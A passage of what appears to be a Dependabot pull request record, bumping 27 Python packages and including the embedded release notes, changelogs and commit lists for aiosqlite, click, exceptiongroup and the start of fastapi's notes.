Bump","group_name":"python-minor","update_count":27,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"click","old_version":"8.3.0","new_version":"8.3.1","repository_url":"https://github.com/pallets/click"},{"name":"exceptiongroup","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/agronholm/exceptiongroup"},{"name":"fastapi","old_version":"0.121.2","new_version":"0.121.3","repository_url":"https://github.com/fastapi/fastapi"},{"name":"huggingface-hub","old_version":"1.1.4","new_version":"1.1.5","repository_url":"https://github.com/huggingface/huggingface_hub"},{"name":"hypothesis","old_version":"6.147.0","new_version":"6.148.2","repository_url":"https://github.com/HypothesisWorks/hypothesis"},{"name":"prometheus-client","old_version":"0.20.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.11.10","new_version":"2.12.4","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pydantic-core","old_version":"2.33.2","new_version":"2.41.5","repository_url":"https://github.com/pydantic/pydantic-core"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"rpds-py","old_version":"0.28.0","new_version":"0.29.0","repository_url":"https://github.com/crate-py/rpds"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"uvicorn","old_version":"0.30.6","new_version":"0.38.0","repository_url":"https://github.com/Kludex/uvicorn"},{"name":"backrefs","old_version":"6.0.1","new_version":"6.1","repository_url":"https://github.com/facelessuser/backrefs"},{"name":"bandit","old_version":"1.9.1","new_version":"1.9.2","repository_url":"https://github.com/PyCQA/bandit"},{"name":"cfgv","old_version":"3.4.0","new_version":"3.5.0","repository_url":"https://github.com/asottile/cfgv"},{"name":"coverage","old_version":"7.11.3","new_version":"7.12.0"},{"name":"gradio","old_version":"5.49.1","new_version":"5.50.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"gradio-client","old_version":"1.13.3","new_version":"1.14.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"openai","old_version":"2.8.0","new_version":"2.8.1","repository_url":"https://github.com/openai/openai-python"},{"name":"packageurl-python","old_version":"0.17.5","new_version":"0.17.6","repository_url":"https://github.com/package-url/packageurl-python"},{"name":"pytest-asyncio","old_version":"0.24.0","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"ruff","old_version":"0.14.5","new_version":"0.14.6","repository_url":"https://github.com/astral-sh/ruff"},{"name":"safety-schemas","old_version":"0.0.16","new_version":"0.0.17","repository_url":"https://github.com/pyupio/safety_schemas"},{"name":"stevedore","old_version":"5.5.0","new_version":"5.6.0"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 27 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [click](https://github.com/pallets/click) | `8.3.0` | `8.3.1` |\n| [exceptiongroup](https://github.com/agronholm/exceptiongroup) | `1.3.0` | `1.3.1` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.121.2` | `0.121.3` |\n| [huggingface-hub](https://github.com/huggingface/huggingface_hub) | `1.1.4` | `1.1.5` |\n| [hypothesis](https://github.com/HypothesisWorks/hypothesis) | `6.147.0` | `6.148.2` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.20.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.11.10` | `2.12.4` |\n| [pydantic-core](https://github.com/pydantic/pydantic-core) | `2.33.2` | `2.41.5` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [rpds-py](https://github.com/crate-py/rpds) | `0.28.0` | `0.29.0` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [uvicorn](https://github.com/Kludex/uvicorn) | `0.30.6` | `0.38.0` |\n| [backrefs](https://github.com/facelessuser/backrefs) | `6.0.1` | `6.1` |\n| [bandit](https://github.com/PyCQA/bandit) | `1.9.1` | `1.9.2` |\n| [cfgv](https://github.com/asottile/cfgv) | `3.4.0` | `3.5.0` |\n| [coverage[toml]](https://github.com/coveragepy/coveragepy) | `7.11.3` | `7.12.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `5.49.1` | `5.50.0` |\n| [gradio-client](https://github.com/gradio-app/gradio) | `1.13.3` | `1.14.0` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [openai](https://github.com/openai/openai-python) | `2.8.0` | `2.8.1` |\n| [packageurl-python](https://github.com/package-url/packageurl-python) | `0.17.5` | `0.17.6` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.24.0` | `0.26.0` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.14.5` | `0.14.6` |\n| [safety-schemas](https://github.com/pyupio/safety_schemas) | `0.0.16` | `0.0.17` |\n| [stevedore](https://docs.openstack.org/stevedore) | `5.5.0` | `5.6.0` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `click` from 8.3.0 to 8.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pallets/click/releases\"\u003eclick's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.3.1\u003c/h2\u003e\n\u003cp\u003eThis is the Click 8.3.1 fix release, which fixes bugs but does not otherwise change behavior and should not result in breaking changes compared to the latest feature release.\u003c/p\u003e\n\u003cp\u003ePyPI: \u003ca href=\"https://pypi.org/project/click/8.3.1/\"\u003ehttps://pypi.org/project/click/8.3.1/\u003c/a\u003e\nChanges: \u003ca href=\"https://click.palletsprojects.com/page/changes/#version-8-3-1\"\u003ehttps://click.palletsprojects.com/page/changes/#version-8-3-1\u003c/a\u003e\nMilestone: \u003ca href=\"https://github.com/pallets/click/milestone/28\"\u003ehttps://github.com/pallets/click/milestone/28\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDon't discard pager arguments by correctly using \u003ccode\u003esubprocess.Popen\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3039\"\u003e#3039\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3055\"\u003e#3055\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003eSentinel.UNSET\u003c/code\u003e default values by \u003ccode\u003eNone\u003c/code\u003e as they're passed through the \u003ccode\u003eContext.invoke()\u003c/code\u003e method. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3066\"\u003e#3066\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3065\"\u003e#3065\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3068\"\u003e#3068\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix conversion of \u003ccode\u003eSentinel.UNSET\u003c/code\u003e happening too early, which caused incorrect behavior for multiple parameters using the same name. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3071\"\u003e#3071\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3079\"\u003e#3079\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix rendering when \u003ccode\u003eprompt\u003c/code\u003e and \u003ccode\u003econfirm\u003c/code\u003e parameter \u003ccode\u003eprompt_suffix\u003c/code\u003e is empty. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3019\"\u003e#3019\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3021\"\u003e#3021\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWhen \u003ccode\u003eSentinel.UNSET\u003c/code\u003e is found during parsing, it will skip calls to \u003ccode\u003etype_cast_value\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3069\"\u003e#3069\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3090\"\u003e#3090\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHide \u003ccode\u003eSentinel.UNSET\u003c/code\u003e values as \u003ccode\u003eNone\u003c/code\u003e when looking up for other parameters through the context inside parameter callbacks. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3136\"\u003e#3136\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3137\"\u003e#3137\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pallets/click/blob/main/CHANGES.rst\"\u003eclick's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 8.3.1\u003c/h2\u003e\n\u003cp\u003eReleased 2025-11-15\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDon't discard pager arguments by correctly using \u003ccode\u003esubprocess.Popen\u003c/code\u003e. :issue:\u003ccode\u003e3039\u003c/code\u003e\n:pr:\u003ccode\u003e3055\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003eSentinel.UNSET\u003c/code\u003e default values by \u003ccode\u003eNone\u003c/code\u003e as they're passed through\nthe \u003ccode\u003eContext.invoke()\u003c/code\u003e method. :issue:\u003ccode\u003e3066\u003c/code\u003e :issue:\u003ccode\u003e3065\u003c/code\u003e :pr:\u003ccode\u003e3068\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFix conversion of \u003ccode\u003eSentinel.UNSET\u003c/code\u003e happening too early, which caused incorrect\nbehavior for multiple parameters using the same name. :issue:\u003ccode\u003e3071\u003c/code\u003e :pr:\u003ccode\u003e3079\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eHide \u003ccode\u003eSentinel.UNSET\u003c/code\u003e values as \u003ccode\u003eNone\u003c/code\u003e when looking up for other parameters\nthrough the context inside parameter callbacks. :issue:\u003ccode\u003e3136\u003c/code\u003e :pr:\u003ccode\u003e3137\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFix rendering when \u003ccode\u003eprompt\u003c/code\u003e and \u003ccode\u003econfirm\u003c/code\u003e parameter \u003ccode\u003eprompt_suffix\u003c/code\u003e is\nempty. :issue:\u003ccode\u003e3019\u003c/code\u003e :pr:\u003ccode\u003e3021\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eWhen \u003ccode\u003eSentinel.UNSET\u003c/code\u003e is found during parsing, it will skip calls to\n\u003ccode\u003etype_cast_value\u003c/code\u003e. :issue:\u003ccode\u003e3069\u003c/code\u003e :pr:\u003ccode\u003e3090\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/1d038f270701498433cb432f54db89f95f07a845\"\u003e\u003ccode\u003e1d038f2\u003c/code\u003e\u003c/a\u003e release version 8.3.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/03f3889f505d0c9ca4f9d6810f9e4ba2799f2a66\"\u003e\u003ccode\u003e03f3889\u003c/code\u003e\u003c/a\u003e Fix Ruff UP038 warning (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3141\"\u003e#3141\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/3867781222cb63693ca67df94352d29d8e6e2770\"\u003e\u003ccode\u003e3867781\u003c/code\u003e\u003c/a\u003e Fix Ruff UP038 warning\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/b91bb9548a5617b1197add95e084d569f57149c3\"\u003e\u003ccode\u003eb91bb95\u003c/code\u003e\u003c/a\u003e Provide altered context to callbacks to hide \u003ccode\u003eUNSET\u003c/code\u003e values as \u003ccode\u003eNone\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3137\"\u003e#3137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/437e1e3295c7ec979fc1bf285bb402ca20d847e7\"\u003e\u003ccode\u003e437e1e3\u003c/code\u003e\u003c/a\u003e Temporarily provide a fake context to the callback to hide \u003ccode\u003eUNSET\u003c/code\u003e values as ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/ea70da487b05d6bb758d472a3a9ffab4a5b7fcd5\"\u003e\u003ccode\u003eea70da4\u003c/code\u003e\u003c/a\u003e Don't test using a file in docs/ (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3102\"\u003e#3102\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/e27b307462b725722f620c69dd1d5509c032d18a\"\u003e\u003ccode\u003ee27b307\u003c/code\u003e\u003c/a\u003e Make \u003ccode\u003euv run --all-extras pyright --verifytypes click\u003c/code\u003e pass (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3072\"\u003e#3072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/a92c573f3195c9da3058eadf1735d38af186d22c\"\u003e\u003ccode\u003ea92c573\u003c/code\u003e\u003c/a\u003e Fix test_edit to work with BSD sed (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3129\"\u003e#3129\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/bd131e1ab63da2281d6dd9b8205ad2eb5a085468\"\u003e\u003ccode\u003ebd131e1\u003c/code\u003e\u003c/a\u003e Fix test_edit to work with BSD sed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/0b5c6b75f617e6ee2f9f6dcd071b8a4bf183d1ed\"\u003e\u003ccode\u003e0b5c6b7\u003c/code\u003e\u003c/a\u003e Add Best practices section  (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3127\"\u003e#3127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pallets/click/compare/8.3.0...8.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `exceptiongroup` from 1.3.0 to 1.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/releases\"\u003eexceptiongroup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e when formatting unpickled TBEs from another Python process which did not apply the \u003ccode\u003eexceptiongroup\u003c/code\u003e patches (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/144\"\u003e#144\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/blob/main/CHANGES.rst\"\u003eexceptiongroup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eVersion history\u003c/h1\u003e\n\u003cp\u003eThis library adheres to \u003ccode\u003eSemantic Versioning 2.0 \u0026lt;http://semver.org/\u0026gt;\u003c/code\u003e_.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e\nwhen formatting unpickled TBEs from another Python process which did not apply the\n\u003ccode\u003eexceptiongroup\u003c/code\u003e patches\n(\u003ccode\u003e[#144](https://github.com/agronholm/exceptiongroup/issues/144) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/144\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e**kwargs\u003c/code\u003e to function and method signatures as appropriate to match the\nsignatures in the standard library\u003c/li\u003e\n\u003cli\u003eIn line with the stdlib typings in typeshed, updated \u003ccode\u003e(Base)ExceptionGroup\u003c/code\u003e generic\ntypes to define defaults for their generic arguments (defaulting to\n\u003ccode\u003eBaseExceptionGroup[BaseException]\u003c/code\u003e and \u003ccode\u003eExceptionGroup[Exception]\u003c/code\u003e)\n(PR by \u003ca href=\"https://github.com/mikenerone\"\u003e\u003ccode\u003e@​mikenerone\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged \u003ccode\u003eBaseExceptionGroup.__init__()\u003c/code\u003e to directly call\n\u003ccode\u003eBaseException.__init__()\u003c/code\u003e instead of the superclass \u003ccode\u003e__init__()\u003c/code\u003e in order to\nemulate the CPython behavior (broken or not) (PR by \u003ca href=\"https://github.com/cfbolz\"\u003e\u003ccode\u003e@​cfbolz\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged the \u003ccode\u003eexceptions\u003c/code\u003e attribute to always return the same tuple of exceptions,\ncreated from the original exceptions sequence passed to \u003ccode\u003eBaseExceptionGroup\u003c/code\u003e to\nmatch CPython behavior\n(\u003ccode\u003e[#143](https://github.com/agronholm/exceptiongroup/issues/143) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/143\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.2\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved an \u003ccode\u003eassert\u003c/code\u003e in \u003ccode\u003eexceptiongroup._formatting\u003c/code\u003e that caused compatibility\nissues with Sentry (\u003ccode\u003e[#123](https://github.com/agronholm/exceptiongroup/issues/123) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/123\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated the copying of \u003ccode\u003e__notes__\u003c/code\u003e to match CPython behavior (PR by CF Bolz-Tereick)\u003c/li\u003e\n\u003cli\u003eCorrected the type annotation of the exception handler callback to accept a\n\u003ccode\u003eBaseExceptionGroup\u003c/code\u003e instead of \u003ccode\u003eBaseException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFixed type errors on Python \u0026lt; 3.10 and the type annotation of \u003ccode\u003esuppress()\u003c/code\u003e\n(PR by John Litborn)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded special monkeypatching if \u003ccode\u003eApport \u0026lt;https://github.com/canonical/apport\u0026gt;\u003c/code\u003e_ has\noverridden \u003ccode\u003esys.excepthook\u003c/code\u003e so it will format exception groups correctly\n(PR by John Litborn)\u003c/li\u003e\n\u003cli\u003eAdded a backport of \u003ccode\u003econtextlib.suppress()\u003c/code\u003e from Python 3.12.1 which also handles\nsuppressing exceptions inside exception groups\u003c/li\u003e\n\u003cli\u003eFixed bare \u003ccode\u003eraise\u003c/code\u003e in a handler reraising the original naked exception rather than\nan exception group which is what is raised when you do a \u003ccode\u003eraise\u003c/code\u003e in an \u003ccode\u003eexcept*\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ddddb6fdf8582c4ae5187dc1bd258115974229fe\"\u003e\u003ccode\u003eddddb6f\u003c/code\u003e\u003c/a\u003e Added the release version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/49c5e60d9efad1416f4f42455e119375904a1d6d\"\u003e\u003ccode\u003e49c5e60\u003c/code\u003e\u003c/a\u003e Fixed AttributeError when formatting unpickled TBEs from an unpatched process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/1be517f553249822a8fa12a4d7520d4b3ef15acd\"\u003e\u003ccode\u003e1be517f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/152\"\u003e#152\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/af0ea2fdfe218a4c2a1cb31ebd1a61dba459af6f\"\u003e\u003ccode\u003eaf0ea2f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/149\"\u003e#149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/7c980a88a06a72db3d796d98504b335d24274abb\"\u003e\u003ccode\u003e7c980a8\u003c/code\u003e\u003c/a\u003e Removed pin on pyright version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ef853368c8b94479adbd33cc58f1cac05839e116\"\u003e\u003ccode\u003eef85336\u003c/code\u003e\u003c/a\u003e Fixed typing job not finding Python 3.14\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/080b3f4e925bbdb8cee70cc30c5ef2937eab2bde\"\u003e\u003ccode\u003e080b3f4\u003c/code\u003e\u003c/a\u003e Pinned pyright version to fix typeshed related failure\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ac660908a1987880eddbb249947c1eef6e08513b\"\u003e\u003ccode\u003eac66090\u003c/code\u003e\u003c/a\u003e Added Python 3.14 to the test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/a0da94dadfb39c0b52c0cd5c87ace166b00f74c1\"\u003e\u003ccode\u003ea0da94d\u003c/code\u003e\u003c/a\u003e Fixed test failures on Python 3.14\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/agronholm/exceptiongroup/compare/1.3.0...1.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.121.2 to 0.121.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.121.3\u003c/h2\u003e\n\u003ch3\u003eRefactors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e♻️ Make the result of \u003ccode\u003eDepends()\u003c/code\u003e and \u003ccode\u003eSecurity()\u003c/code\u003e hashable, as a workaround for other tools interacting with these internal parts. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14372\"\u003e#14372\u003c/a\u003e by \u003ca 